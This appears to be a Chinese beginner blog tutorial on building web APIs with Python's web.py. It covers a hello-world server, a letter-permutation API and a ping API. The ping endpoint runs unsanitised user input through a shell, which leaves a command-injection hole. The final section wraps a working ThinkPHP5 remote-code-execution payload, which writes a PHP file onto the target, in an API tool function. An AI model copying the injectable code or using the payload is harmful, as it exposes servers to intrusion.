看著網際網路上各種各樣的API介面十分歡喜,奈何因為收費望而卻步,於是筆者在經過網上資訊檢索後,選擇了最簡單的Python3 Web.py 庫作為菜鳥入門學習教程,並實現一些小功能,希望對萌新小白們有所幫助!
開發環境:
系統:安卓10
工具:Termux
編輯器:vim
語言:Python3
上傳方法:ftp協議
除錯環境:
系統:Windows2008(阿里雲)
環境:Python3.7.6 + Web.py
說明:建議要使用最適合自己的開發環境,在win環境可以選擇VS Code等編輯器來開發。
如何安裝運營環境
伺服器端安裝示例(Windows 2008)
Python3環境的安裝:對於Python3的安裝,你只需要到官網下載適合你的安裝包安裝即可!
如果你下載的是ZIP包,請自己配置好環境變數,如果你是下載的視覺化安裝程式,請記得勾選新增環境變數選項!
Web.py 庫的安裝:在開始安裝之前,請記得在PowerShell裡執行下面的命令,我們需要先升級pip,升級命令是這樣:
pip install --upgrade pip
在升級完成後,便可以開始安裝我們需要的Web庫了。
pip install web.py
如何編寫
如同眾多程式語言一般,我們先來寫個HelloWord:
檔名:sever.py
#-*- coding:utf-8 -*-import web #匯入web庫#URL控制urls = ( #訪問index的時候,執行index方法 '/index(.*)', 'index',)#index方法class index: def GET(self, text): index = "hello word!" return index#主函式開始if __name__ == "__main__": app = web.application(urls, globals()) app.run()
接著我們在指定埠執行這個指令碼:
python sever.py 80
此時,我們訪問:127.0.0.1:80,應該在瀏覽器中能看到這樣的內容:
hello word!
這就滿足了嗎?
不,最起碼,得有個漂亮的樣式,經過簡單的搜尋,發現Web.py提供的方法太麻煩了,於是,我們可以這樣:
請注意,此刻我們不需要去暫停控制檯,可以直接去修改程式碼後重新整理瀏覽器就好了!
先在跟Sever.py同一目錄下建立index.html,這個html裡的檔案自己想寫啥就寫啥,然後我們修改程式碼:
#index方法class index: def GET(self, text): index = open("./index.html", 'r',encoding="utf-8") index = index.read() return index
接著再來重新整理瀏覽器,就會發現介面變成了你想要的樣子,這說明html檔案裡的標籤被渲染了。
如何開發API
有這樣一道題:給定這樣幾個字母:a,e,t,請組成單詞。
筆者的程式碼:
import sysfrom itertools import permutationsdef exhaustive_combination_def(exhaustive_combination): b = "" arr = exhaustive_combination.split(",") for a in permutations(arr): a = "".join(a) b = b + a + "," #print(a) return bif __name__ == "__main__": i="a,e,t" i=exhaustive_combination_def(i) print(i)
執行後,我收穫了結果:
aet,ate,eat,eta,tae,tea,
放到百度翻譯,人生圓滿了。
為了維護方便,我們API是一個py檔案,sever是一個檔案,這樣最好。
api.py
#-*- coding:utf-8 -*-import sysfrom itertools import permutationsdef exhaustive_combination_def(exhaustive_combination): b = "" dzarr = exhaustive_combination.split(",") for a in permutations(dzarr): a = "".join(a) b = b + a + "," return b
sever.py
#-*- coding:utf-8 -*-import web #匯入web庫#從檔案api.py中引用自定義函式:exhaustive_combination_deffrom api import exhaustive_combination_def#URL控制urls = ( #訪問index的時候,執行index方法 '/index(.*)', 'index', #訪問api_one,執行exhaustive_combination方法 '/api_one/(.*)', 'exhaustive_combination',)#exhaustive_combination方法class exhaustive_combination: #text接收的是get請求內容 def GET(self, text): #變數 a 接收傳回的返回值 a=exhaustive_combination_def(text) #返回 a 的內容給瀏覽器 return aindex方法class index: def GET(self, text): index = open("./index.html", 'r',encoding="utf-8") index = index.read() return indexif __name__ == "__main__": app = web.application(urls, globals()) app.run()
訪問地址:
http://127.0.0.1/api_one/a,e,t
成功在瀏覽器返回:
aet,ate,eat,eta,tae,tea,
這樣一個簡單的API就寫好了。
這個時候,我們可以完全通過python寫一個自己想要的API。
比如,我們來寫一個返回Ping命令結果的:
ping.py
# -*- coding: utf-8 -*-import subprocessimport redef ping_url(url): ping = subprocess.Popen(["ping.exe", url], stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE, shell = True) out = ping.stdout.read() out = out.decode('gbk') return out
sever.py
#-*- coding:utf-8 -*-import web #匯入web庫#從檔案api.py中引用自定義函式:exhaustive_combination_deffrom api import exhaustive_combination_def#從檔案ping.py中引用自定義函式:ping_urlfrom ping import ping_url#URL控制urls = ( #訪問index的時候,執行index方法 '/index(.*)', 'index', #訪問api_one,執行exhaustive_combination方法 '/api_one/(.*)', 'exhaustive_combination', #訪問ping,執行ping方法 '/ping_api/(.*)','ping_api',)#ping方法class ping_api: def GET(self, text): a = "<html><head><meta charset=\\"utf-8\\"><pre>" b = ping_url(text) c = "</pre></head></html>" a = a + b + c return a#exhaustive_combination方法class exhaustive_combination: #text接收的是get請求內容 def GET(self, text): #變數 a 接收傳回的返回值 a=exhaustive_combination_def(text) #返回 a 的內容給瀏覽器 return a#index方法class index: def GET(self, text): index = open("./index.html", 'r',encoding="utf-8") index = index.read() return indexif __name__ == "__main__": app = web.application(urls, globals()) app.run()
訪問:
http://127.0.0.1/ping_api/www.20191005.tech
成功返回內容:
正在 Ping as20191005.coding.me [150.109.19.98] 具有 32 位元組的資料:來自 150.109.19.98 的回覆: 位元組=32 時間=949ms TTL=47來自 150.109.19.98 的回覆: 位元組=32 時間=1111ms TTL=47來自 150.109.19.98 的回覆: 位元組=32 時間=1162ms TTL=47來自 150.109.19.98 的回覆: 位元組=32 時間=1156ms TTL=47150.109.19.98 的 Ping 統計資訊: 資料包: 已傳送 = 4,已接收 = 4,丟失 = 0 (0% 丟失),往返行程的估計時間(以毫秒為單位): 最短 = 949ms,最長 = 1162ms,平均 = 1094ms
擴充套件設想
在編寫工具時,我們很多時候用到的語言都是Python,然而我們編寫的一些圖形化工具隨著不斷的流傳,很容易流傳到不法分子手中,我們完全可以通過這種API式的去開發工具。
當工具流竄出去,我們要阻止不法分子的時候,可以直接在伺服器端ban了他的ip ,直接導致你的工具在他手中無法使用,或者直接改變介面引數,導致不法分子的工具失效,當然為了安全性可以加上一個基於介面的驗證方案,來驗證工具的使用者。
拿thinkphp5來做一個例子:
樣例自定義函式:
#-*- coding:utf-8 -*-import requestsimport re#命令執行def thinkphp5_api(url): poc = "?s=/index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20" filename ="name.php" url = str(url + poc + filename) try: page = requests.get(url) zhuangtia = page.status_code qingqiutou = page.headers a = "【*】請求狀態:" + str(zhuangtia) + "\\n【*】寫入路徑:" + filename + "\\n【*】請求頭:\\n" + str(qingqiutou) return a except: return "寫入狀態異常!"
實際效果:
這種方法筆者認為非常便於控制工具的流通,你只需要通過指定你允許的IP可以訪問到伺服器API,就可以將工具放心的傳給團隊內的其他使用者!
如果本文激發了你對API開發的想法,不妨去試一試,對於Windows圖形介面程式的開發,多種多樣,你可以選擇C#的WPF或者易語言,這兩者對於圖形介面的開發基本都是直接繪製,上手速度更加快速!